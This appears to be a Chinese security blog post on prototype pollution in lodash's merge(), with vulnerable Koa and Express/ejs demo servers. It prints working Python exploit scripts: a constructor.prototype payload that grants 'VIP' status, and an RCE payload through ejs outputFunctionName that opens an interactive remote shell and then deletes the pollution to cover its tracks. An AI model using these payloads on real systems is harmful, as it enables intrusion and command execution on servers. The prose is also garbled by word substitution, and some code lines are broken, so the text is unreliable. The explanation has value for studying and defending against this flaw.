做为前端工程师者,某一天不经意碰到了原型链环境污染系统漏洞,本来认为没什么危害,求知欲迫使下,顺藤摸瓜,发觉原型链环境污染系统漏洞居然还可以拿到网络服务器的shell管理员权限,不得不注意!
某天正全力的coding,智能机器人给发过那样一条信息
查询发觉是一个叫“原型链环境污染”(Prototype chain pollution)的系统漏洞,还行这仅仅 dev 依靠,当今作用下基本上没有什么危害,其修补方法能够根据更新包版本号就可以。
“原型链环境污染”系统漏洞,看上去好高端大气的名称,和“互联网技术暗语”有得一拼,求知欲迫使下,顺藤摸瓜地科学研究一番。
现阶段该系统漏洞危害了架构常见的有:
招聘者让被招聘面试的同学们写个目标合拼,该同学们一听这难题,就这,就这,30s就写好啦一份运用递归算法完成的目标合拼,编码以下:
- function merge(target, source) {
- for (let key in source) {
- if (key in source && key in target) {
- merge(target[key], source[key])
- } else {
- target[key] = source[key]
- }
- }
- }
但是招聘面试的同学们不清楚,他完成的编码,会埋下一个原型链环境污染的系统漏洞,大伙儿下一次招聘面试新同学们的情况下,能够问一问了
为什么会出现原型链环境污染系统漏洞?
那麼下面,我们一起从入门到精通地认识一下原型链系统漏洞,便于于在日常开发设计全过程中就避开掉这种很有可能的风险性。
在javaScript中,案例目标与原形中间的连接,称为原型链。其基本上观念是运用原形让一个引用类型承继另一个引用类型的特性和方式 。随后层层递进,就组成了案例与原形的传动链条,这就是说白了原型链的基本要素。
三个专有名词:
隐式原形:全部引用类型(涵数、二维数组、目标)都是有 __proto__ 特性,比如arr.__proto__
显式原形:全部涵数有着prototype特性,比如:func.prototype
原形目标:有着prototype特性的目标,在界定涵数时被建立
原型链中间的关联能够参照图1.1:
图1.1 原型链关系图
当一个自变量在启用某方式 或特性时,假如当今自变量并沒有该方式 或特性,便会在该自变量所属的原型链中先后往上搜索是不是存有该方式 或特性,如果有则启用,不然回到undefined
在开发设计中,经常会采用 toString()、valueOf()等方式 ,array种类的自变量有着大量的方式 ,比如forEach()、map()、includes()这些。比如申明了一个arr二维数组种类的自变量,arr自变量却能够启用如下图中仍未界定的方式 和特性。
根据自变量的隐式原形能够查询到,二维数组种类自变量的原形中早已界定了这种方式 。比如某自变量的种类是Array,那麼它就可以根据原型链搜索体制,启用相对应的方式 或特性。
最先看一个简易的事例:
- var a = {name: 'dyboy', age: 18};
- a.__proto__.role = 'administrator'
- var b = {}
- b.role // output: administrator
具体运作結果以下:
运作結果
能够发觉,给隐式原形提升了一个role的特性,而且取值为administrator(管理人员)。在创建对象一个新目标b的情况下,尽管沒有role特性,可是根据原型链能够载入到根据目标a在原型链上取值的‘administrator’。
难题就来了,__proto__偏向的原形目标是可写应写的,假如根据一些实际操作(多见于merge,clone等方式 ),促使网络黑客能够增、删、改原型链上的方式 或特性,那麼程序流程就很有可能会因为原型链环境污染而遭受DOS、滥用权力等进攻
Demo应用koa2来完成的服务器端:
- const Koa = require("koa");
- const bodyParser = require("koa-bodyparser");
- const _ = require("lodash");
- const app = new Koa();
- app.use(bodyParser());
- // 合拼涵数
- const combine = (payload = {}) => {
- const prefixPayload = { nickname: "bytedanceer" };
- // 使用方法可参照:https://lodash.com/docs/4.17.15#merge
- _.merge(prefixPayload, payload);
- // 此外别的也存在的问题的涵数:merge defaultsDeep mergeWith
- };
- app.use(async (ctx) => {
- // 某业务场景下,合拼了客户递交的payload
- if(ctx.method === 'POST') {
- combine(ctx.request.body);
- }
- // 某网页页面某点逻辑性
- const user = {
- username: "visitor",
- };
- let welcomeText = "同学们,健身游泳,了解一下?";
- // 因user.role不会有,因此 恒为假(false),在其中编码不太可能实行
- if (user.role === "admin") {
- welcomeText = "尊重的VIP,您来了!";
- }
- ctx.body = welcomeText;
- });
- app.listen(3001, () => {
- console.log("Running: http://localohost:3001");
- });
当一个游人客户浏览网站地址:http://127.0.0.1:3001/ 时,网页页面会表明“同学们,健身游泳,了解一下?”
能够见到在编码中应用了loadsh(4.17.10版本号)的merge()涵数,将客户的payload和prefixPayload干了合拼。
乍一看,好像并没什么难题,针对业务流程好像也不会造成什么问题,不管客户浏览全都应当总是回到“同学们,健身游泳,了解一下?”他们,程序流程上user.role是一个恒为undefined的标准,则始终不容易实行if分辨体里的编码。
殊不知应用独特的payload检测,也就是运作一下大家的attack.py脚本制作
在我们再浏览http://127.0.0.1:3001时,会发觉回到的結果以下:
一瞬间变成了健身会所的VIP是吧,能够开心白给了?这时,不管哪些客户浏览这一网站地址,回到的网页页面都是会是表明如上結果,每个人VIP时期。如果是咱写的编码线上上发生这难题,【事故通报】了解一下。
attact.py 的编码以下:
- import requests
- import json
- req = requests.Session()
- target_url = 'http://127.0.0.1:3001'
- headers = {'Content-type': 'application/json'}
- # payload = {"__proto__": {"role": "admin"}}
- payload = {"constructor": {"prototype": {"role": "admin"}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- print('进攻进行!')
进攻编码中的payload:{"constructor": {"prototype": {"role": "admin"}}} 根据merge()涵数完成合拼取值,另外,因为payload设定了constructor,merge的时候会给原形目标提升role特性,且初始值为admin,因此 浏览的客户变成了“VIP”
剖析的lodash版本号4.17.10(有兴趣的同学们能够取得源代码自身手动式追朔👀)node_modules/lodash/merge.js中根据启用了baseMerge(object, source, srcIndex)涵数 则精准定位到:node_modules/lodash/_baseMerge.js 第20行的baseMerge涵数
- function baseMerge(object, source, srcIndex, customizer, stack) {
- if (object === source) {
- return;
- }
- baseFor(source, function(srcValue, key) {
- // 假如合拼的特性值是目标
- if (isObject(srcValue)) {
- stack || (stack = new Stack);
- // 启用 baseMerge
- baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
- }
- else {
- var newValue = customizer
- ? customizer(safeGet(object, key), srcValue, (key ''), object, source, stack)
- : undefined;
- if (newValue === undefined) {
- newValue = srcValue;
- }
- assignMergeValue(object, key, newValue);
- }
- }, keysIn);
- }
关心到safeGet的涵数:
- function safeGet(object, key) {
- return key == '__proto__'
- ? undefined
- : object[key];
- }
这也是为什么上边的payload为何没应用__proto__只是应用了相当于这一特性的构造方法的prototype
有payload是一个目标因而精准定位到node_modules/lodash/_baseMergeDeep.js第32行:
- function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
- var objValue = safeGet(object, key),
- srcValue = safeGet(source, key),
- stacked = stack.get(srcValue);
- if (stacked) {
- assignMergeValue(object, key, stacked);
- return;
- }
精准定位涵数assignMergeValue 于 node_modules/lodash/_assignMergeValue.js第13行
- function assignMergeValue(object, key, value) {
- if ((value !== undefined && !eq(object[key], value)) ||
- (value === undefined && !(key in object))) {
- baseAssignValue(object, key, value);
- }
- }
再精准定位baseAssignValue于node_modules/lodash/_baseAssignValue.js第12行
- function baseAssignValue(object, key, value) {
- if (key == '__proto__' && defineProperty) {
- defineProperty(object, key, {
- 'configurable': true,
- 'enumerable': true,
- 'value': value,
- 'writable': true
- });
- } else {
- object[key] = value;
- }
- }
绕开了if分辨,随后进到else逻辑性中,是一个简易的立即取值实际操作,仍未对constructor和prototype开展分辨,因而就拥有:
- prefixPayload = { nickname: "bytedanceer" };
- // payload:{"constructor": {"prototype": {"role": "admin"}}}
- _.merge(prefixPayload, payload);
- // 随后就给原形目标取值了一个名叫role,数值admin的特性
因此造成了客户会进到一个不太可能进到的逻辑性里,也就导致了上边发生的“滥用权力”难题。
从上边的Demo实例中,你很有可能会有一种幻觉:原型链系统漏洞好像并没什么很大的危害,是否不用特别关心(相比于sql注入,xss,csrf等系统漏洞)。
真的是那样吗?看来一个略微改动了的另一个事例(提升应用了ejs3D渲染模块),以原型链环境污染系统漏洞为基本,我们一起拿到网络服务器的shell!
- const express = require('express');
- const bodyParser = require('body-parser');
- const lodash = require('lodash');
- const app = express();
- app
- .use(bodyParser.urlencoded({extended: true}))
- .use(bodyParser.json());
- app.set('views', './views');
- app.set('view engine', 'ejs');
- app.get("/", (req, res) => {
- let title = '游人您好';
- const user = {};
- if(user.role === 'vip') {
- title = 'VIP您好';
- }
- res.render('index', {title: title});
- });
- app.post("/", (req, res) => {
- let data = {};
- let input = req.body;
- lodash.merge(data, input);
- res.json({message: "OK"});
- });
- app.listen(8888, '0.0.0.0');
该事例根据express ejs lodash,同样,浏览localhost:8888也是总是表明游人您好,跟上面一样能够应用原型链进攻,促使“每个人VIP”,但不但仅限于此,大家还能够深层次运用,依靠ejs的3D渲染及其包括原型链环境污染系统漏洞的lodash就可以完成RCE(Remote Code Excution,远程控制代码执行)
先看一下我们可以完成的进攻实际效果:
能够见到,依靠attack.py脚本制作,我们可以实行随意的shell指令,于此同时大家还确保了不容易危害普通用户(管理人员没法随便认知侵入),在下面的状况网络黑客便会常识问题地开展提权、管理权限保持、横着渗入等进攻,以获得更高权益,但此外,也会给公司产生更高损害。
上边的进攻方式 ,是根据loadsh的原型链环境污染系统漏洞和ejs模版3D渲染相互配合产生的编码引入,从而产生伤害更高的RCE系统漏洞。
下面看一下产生系统漏洞的缘故:
1.打断点调试render方法
2.进到render方法,将options和模版名发送给app.render()
3.获得到相匹配的3D渲染模块ejs
4.进到一个错误处理
5.再次
6.根据模版文档3D渲染
7.解决缓存文件,这一涵数也没啥能够运用的地区
8.总算赶到模版编译程序的地区了
9.再次冲
10.总算进到ejs杜兰特了
在这个文档之中,发觉第578行的opts.outputFunctionName是一undefined的值,假如该特性值存有,那麼就拼凑到自变量prepended中,以后的第597行能够见到,做为了輸出源代码的一部分
在697行,将拼凑的源代码,放进了调用函数中,随后回到该调用函数
11.在tryHandleCache中启用了该调用函数
最终完成了3D渲染輸出到手机客户端。
能够发觉在第10流程中,第578行的opts.outputFunctionName是一undefined的值,大家根据目标原型链取值一个js代码,那麼它便会拼凑到编码中(编码引入),而且在免费模板3D渲染的全过程中会实行该js代码。
在nodejs自然环境下,能够依靠其可启用系统软件方式 编码拼凑到该3D渲染调用函数中,做为涵数体传送给调用函数,那麼就可以完成远程控制随意代码执行,也就是上边演试的实际效果,客户能够实行随意DOS命令。
雅致的地区就取决于,让管理人员和普通用户基本上不容易有认知,可以鬼鬼祟祟拿到网络服务器的shell。
Exploit详细脚本制作以下:
- import requests
- import json
- req = requests.Session()
- target_url = 'http://127.0.0.1:8888'
- headers = {'Content-type': 'application/json'}
- # 失效进攻
- # payload = {"__proto__": {"role": "vip"}}
- # 一般的逻辑性进攻
- payload = {"content":{"constructor": {"prototype": {"role": "vip"}}}}
- # RCE进攻
- # payload = {"content":{"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('ls /'); //"}}}}
- # 反跳shell,例如反跳到MSF/CS上
- # 仿真模拟一个互动式shell
- if __name__ == "__main__":
- payload = '\{"content":\{"constructor": \{"prototype": \{"outputFunctionName": "a; return global.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\'); //"\}\}\}\}'
- while(True):
- shell = input('shell: ')
- if shell == '':
- continue
- if shell == 'exit':
- break
- formatStr = "a; return global.process.mainModule.constructor._load('child_process').execSync('" shell "'); //"
- payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- res2 = req.get(target_url)
- print(res2.text)
- # 解决印痕
- formatStr = "a; return delete Object.prototype['outputFunctionName']; //"
- payload = {"content":{"constructor": {"prototype": {"outputFunctionName": formatStr}}}}
- res = req.post(target_url, data=json.dumps(payload),headers=headers)
- req.get(target_url)
最先,原型链的系统漏洞实际上必须网络攻击针对项目工程或是可以根据一些方式 (比如文档载入系统漏洞)获得到源代码,进攻的科学研究成本费较高,一般不必担心。但网络攻击很有可能会根据一些脚本制作开展大批量黑盒测试方法,或依靠一些工作经验或规律性,便可减少科学研究成本费,因此 也不可以随便忽视此难题。
Q:为啥demo实例中payload中无需__proto__?
A:在我应用的loadsh库4.17.10版本号中,发觉对于__proto__关键字干了分辨和过虑,因而想起了根据浏览构造方法的prototype的方法绕开
Q:在Demo中,为何黑客攻击后,随意客户浏览全是VIP真实身份了?
A:JavaAcript是并行处理程序执行的,因此 原型链上的特性等同于是global,全部联接的客户都共享资源,当某一客户的实际操作更改了原型链上的內容,那麼全部来访者浏览程序流程的全是根据改动以后的原型链
做为安全性科学研究工作人员,上边演试的原型链系统漏洞看起来威协并不算太大,但事实上网络黑客的进攻通常是系统漏洞的组成,当一个轻危等级的系统漏洞,做为高风险系统漏洞的进攻的基本,那麼低危系统漏洞还能算作低危系统漏洞吗?这更必须安全性科学研究工作人员,不但要追求完美对高风险系统漏洞的发掘,还得提高对基本系统漏洞的探寻观念。
做为开发者,我们可以试着下,怎样依靠专用工具快速检测程序流程中是不是存有原型链环境污染系统漏洞,以期待提升企业程序的安全系数。幸运的是,在企业內部早已根据编译程序服务平台干了一些安全大检查,大伙儿能够提升针对安全性的认知度。
原型链环境污染的运用难度系数尽管很大,可是根据其特点,全部的开源系统库都是在npm上能够见到,假如故意的网络黑客,根据大批量检验开源系统库,而且根据收集特点,那麼他要想获得进攻目标程序的是不是引入具备系统漏洞的开源系统库也并不是是一件艰难的事儿。
那麼我们自己写一个脚本制作去Github刷上一波,也不是不好...